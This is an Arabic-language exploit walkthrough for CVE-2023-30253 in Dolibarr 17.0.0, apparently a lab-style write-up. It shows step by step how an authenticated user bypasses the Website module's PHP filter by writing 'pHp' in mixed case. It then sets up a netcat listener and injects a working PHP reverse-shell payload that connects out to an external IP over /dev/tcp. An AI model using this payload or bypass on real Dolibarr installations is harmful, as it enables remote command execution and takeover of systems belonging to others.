
في Dolibarr 17.0.0 مع تفعيل إضافة CMS Website (الأساسية)، يمكن لمهاجم مُصادَق الحصول على تنفيذ أوامر عن بُعد عبر حقن كود PHP متجاوزًا قيود التطبيق.
CVE-2023-30253 هو ثغرة أمنية في برنامج Dolibarr تمكن المستخدمين المصادق عليهم من تنفيذ تعليمات برمجية عن بُعد عبر استخدام تقنية التلاعب بالأحرف الكبيرة في البيانات المُحقنة.
يمكن أن تؤدي هذه الثغرة إلى تنفيذ تعليمات برمجية عن بُعد غير مصرح به من قبل جهات خبيثة، مما يشكل تهديدًا خطيرًا على أمان وسلامة الأنظمة المتأثرة. تم إصلاح الثغرة في الإصدار Dolibarr 17.0.1.
https://www.swascan.com/security-advisory-dolibarr-17-0-0/
https://github.com/Dolibarr/dolibarr
يوضح إثبات المفهوم التالي كيفية الحصول على قشرة عكسية (Reverse Shell) يدويًا.

بعد تسجيل الدخول كمستخدم اختباري، يمكننا إنشاء/تعديل موقع ويب.
.png)
أولاً قم بإنشاء موقع ويب، ثم أنشئ صفحة.
.png)

بعد إنشاء الموقع والصفحة، انقر على أيقونة المنظار، وستفتح الصفحة التي أنشأناها في تبويب جديد.
الآن انقر على "تحرير مصدر HTML" (Edit HTML Source).
.png)
هنا يمكننا محاولة إضافة كود php، ولكن هناك نوع من الفلاتر يمنعنا من كتابة كود php. يمكن تجاوز ذلك بسهولة عن طريق تغيير صيغة كلمة php.
.png)
بعد تغيير صيغة كلمة php إلى pHp، نرى أنه تم الحفظ بنجاح.
.png)
عند الانتقال إلى الصفحة، نرى أن كود php الذي أدخلناه يعمل.
الآن للحصول على القشرة العكسية، لنقم بإعداد مستمع netcat.
.png)
.png)
ثم نضيف كود القشرة العكسية الخاص بنا: <?pHp exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.101/1010 0>&1'"); ?>
الآن فتح الموقع يعطينا قشرة عكسية.
.png)
يمكننا استخدام كود python لتسهيل الأمر

قم بإعداد مستمع netcat.

قم بتشغيل السكربت وسنحصل على قشرة عكسية.